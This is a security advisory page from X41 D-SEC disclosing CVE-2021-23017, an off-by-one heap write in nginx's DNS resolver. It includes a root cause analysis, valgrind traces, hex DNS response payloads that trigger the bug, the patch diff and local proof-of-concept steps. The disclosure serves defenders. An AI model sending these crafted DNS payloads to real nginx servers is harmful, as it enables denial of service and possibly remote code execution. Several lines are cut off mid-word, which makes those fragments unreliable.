# NEWS

# Advisory X41-2021-002: nginx DNS Resolver Off-by-One Heap Write Vulnerability

Severity Rating:
High

Confirmed Affected Versions:
0.6.18 - 1.20.0

Confirmed Patched Versions:
1.21.0, 1.20.1

Vendor:
F5, Inc.

https://mailman.nginx.org/pipermail/nginx-announce/2021/000300.html

**Vector:**
Remote / DNS

**Credit:**
X41 D-SEC GmbH, Luis Merino, Markus Vervier, Eric Sesterhenn

**Status:**
Public

**CVE:**
CVE-2021-23017

**CWE:**
193

**CVSS Score:**
8.1

**CVSS Vector:**
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H/E:U/RL:O/RC:C

**Advisory-URL:**

## Summary and Impact

An off-by-one error in `ngx_resolver_copy()` while processing DNS responses allows a network attacker to write a dot character ('.', 0x2E) out of bounds in a heap allocated buffer. The vulnerability can be triggered by a DNS response in reply to a DNS request from nginx when the resolver primitive is configured. A specially crafted packet allows overwriting the least significant byte of next heap chunk metadata with 0x2E. A network attacker capable of providing DNS responses to a nginx server can achieve Denial-of-Service and likely remote code execution.

Due to the lack of DNS spoofing mitigations in nginx and the fact that the vulnerable function is called before checking the DNS Transaction ID, remote attackers might be able to exploit this vulnerability by flooding the victim server with poisoned DNS responses in a feasible amount of time.

## Root Cause Analysis

nginx DNS resolver (core/ngx_resolver.c) is used to resolve hostnames via DNS for several modules when the resolver primitive is set.

`ngx_resolver_copy()` is called to validate and decompress each DNS domain name contained in a DNS response, receiving the network packet as input and a

1) The uncompressed domain name size `len` is calculated and the input packet is validated, discarding names containing more than 128 pointers or containing pointers that fall out of the input buffer boundaries.
2) An output buffer is allocated, and the uncompressed name is copied into it.

A mismatch between size calculation in part 1 and name decompression in part 2 leads to an off-by-one error in `len`, allowing to write a dot character one byte off `name->data` boundaries.

The miscalculation happens when the last part of the compressed name contains a pointer to a NUL byte. While the calculation step only accounts dots between labels, the decompression step writes a dot character every time a label has been processed and next character is not NUL. When a label is followed by a pointer that leads to a NUL byte, the decompression procedure will:

```
// 1) copy the label to the output buffer,
 ngx_strlow(dst, src, n);
            dst += n;
            src += n;

// 2) read next character,
            n = *src++;
```

```
            }

// 5) Afterwards, the pointer is followed,
        if (n & 0xc0) {
            n = ((n & 0x3f) << 8) + *src;
            src = &buf[n];

            n = *src++;

        }

// 6) and a NULL byte is found, signaling the end of th
        if (n == 0) {
            name->len = dst - name->data;
            return NGX_OK;
        }
```

If the calculated size happens to align with the heap chunk size, the dot character, written out of bounds, will overwrite the least significant byte of next heap chunk size metadata. This might modify the size of the next heap chunk, but also overwrite 3 flags, resulting in `PREV_INUSE` being cleared and `IS_MMAPPED` being set.

```
==7863== Invalid write of size 1
==7863==    at 0x137C2E: ngx_resolver_copy (ngx_resolve
==7863==    by 0x13D12B: ngx_resolver_process_a (ngx_re
==7863==    by 0x13D12B: ngx_resolver_process_response
```

```
==7863==    by 0x1480A8: ngx_start_worker_processes (ng
==7863==    by 0x14952D: ngx_master_process_cycle (ngx_
==7863==    by 0x12237F: main (nginx.c:383)
==7863==  Address 0x4bbcfb8 is 0 bytes after a block of
==7863==    at 0x483E77F: malloc (vg_replace_malloc.c:3
==7863==    by 0x1448C4: ngx_alloc (ngx_alloc.c:22)
==7863==    by 0x137AE4: ngx_resolver_alloc (ngx_resolv
==7863==    by 0x137B26: ngx_resolver_copy (ngx_resolve
==7863==    by 0x13D12B: ngx_resolver_process_a (ngx_re
==7863==    by 0x13D12B: ngx_resolver_process_response
==7863==    by 0x13D46A: ngx_resolver_udp_read (ngx_res
==7863==    by 0x14AB19: ngx_epoll_process_events (ngx_
==7863==    by 0x1414D4: ngx_process_events_and_timers
==7863==    by 0x148E57: ngx_worker_process_cycle (ngx_
==7863==    by 0x1474DA: ngx_spawn_process (ngx_process
==7863==    by 0x1480A8: ngx_start_worker_processes (ng
==7863==    by 0x14952D: ngx_master_process_cycle (ngx_
```

More information about general exploitability of a similar bug class found in

- Chrome OS exploit: one byte overflow and symlinks https://googleprojectzero.blogspot.com/2016/12/chrome-os-exploit-one-byte-overflow-and.html
- Project Zero's Poisoned NULL Byte https://googleprojectzero.blogspot.com/2014/08/the-

en-68459606
https://www.youtube.com/watch?v=tq3mPjsl-H0

Given the rich interaction opportunities in nginx with user controller data and the documented precedents this bug is considered exploitable for remote code execution on some operating systems and architectures.

## Attack Vector Analysis

There are several ways in which a DNS response can trigger the vulnerability.

First, nginx must have sent a DNS request and must be waiting for a response.

Then, a poisoned name can be injected in several parts of a DNS response:

- DNS Questions QNAME,
- DNS Answers NAME,
- DNS Answers RDATA for CNAME and SRV responses,

Keep in mind that the vulnerable function can be hit several times while processing a response, effectively performing several off-by-one writes, by crafting a response with several poisoned QNAME, NAME or RDATA values.

(ngx_resolver.c:594) and additional OOB reads during `ngx_resolver_dup()` (ngx_resolver.c:790) and `ngx_crc32_short()` (ngx_resolver.c:596).

An example payload of DNS response for a 'example.net' request, containing a poisoned CNAME:

```
bcb88180000100010000000076578616d706c65036e657400001c0
         ^
         NULL byte <-----------------------------------
```

A slightly different payload (the one in poc.py) fills enough bytes to overwrite the `next_chunk.mchunk_size` least significant byte with a dot:

```
bcb88180000100010000000076578616d706c65036e657400001c0
```

A 24 bytes label leads to a 24 bytes buffer allocated, which is filled with 24 bytes + an out of bounds dot character.

```
--- ngx_resolver.c      2021-04-06 15:59:50.293734070 +
+++ src/nginx-1.19.8/src/core/ngx_resolver.c    2021-04
@@ -3943,7 +3928,7 @@
     ngx_uint_t   i, n;

     p = src;
-    len = -1;
+    len = 0;

     /*
      * compression pointers allow to create endless lo
@@ -3986,7 +3971,7 @@
         return NGX_OK;
     }

-    if (len == -1) {
+    if (len == 0) {
         ngx_str_null(name);
         return NGX_OK;
     }
```

## Proof-of-Concept

A dummy DNS server delivering a poisoned payload that triggers this vulnerability can be downloaded from with the provided config as follows under valgrind.

```
valgrind --trace-children=yes objs/nginx -p ../runtime
```

Then run the DNS server (will listen on port 1053 by default):

```
python poc.py
```

and trigger a request to the server:

```
curl http://127.0.0.1:8080/
```

Depending on the heap layout when the bug triggers, the malloc mitigations might detect or not the effect. Several ways of showing up in the logs arise:

```
corrupted size vs. prev_size
2021/04/16 13:35:15 [alert] 2501#0: worker process 2502
malloc(): invalid next size (unsorted)
2021/04/16 13:35:34 [alert] 2525#0: worker process 2526
```

```
daemon off;

http{
    access_log logs/access.log;
    server{
        listen 8080;
        location / {
            resolver 127.0.0.1:1053;
            set $dns http://example.net;
            proxy_pass $dns;
        }
    }
}

events {
    worker_connections  1024;
}
```

## Timeline

2021-04-30
Issue reported to maintainers

2021-05-17
Issue reported to distros mailing list

Public disclosure

## About X41 D-SEC GmbH

X41 is an expert provider for application security services. Having extensive industry experience and expertise in the area of information security, a strong core security team of world class security experts enables X41 to perform premium security services.

Fields of expertise in the area of application security are security centered code reviews, binary reverse engineering and vulnerability discovery. Custom research and IT security consulting and support services are core competencies of X41.

Author: Luis Merino, Markus Vervier, Eric Sesterhenn
Date: May 25, 2021

« QR Code reconstruction     Kick-off Pet-HMR »

52070 Aachen

+49 (0) 241 9809418-0
+49 (0) 241 9809418-9
info@x41-dsec.de

PGP Key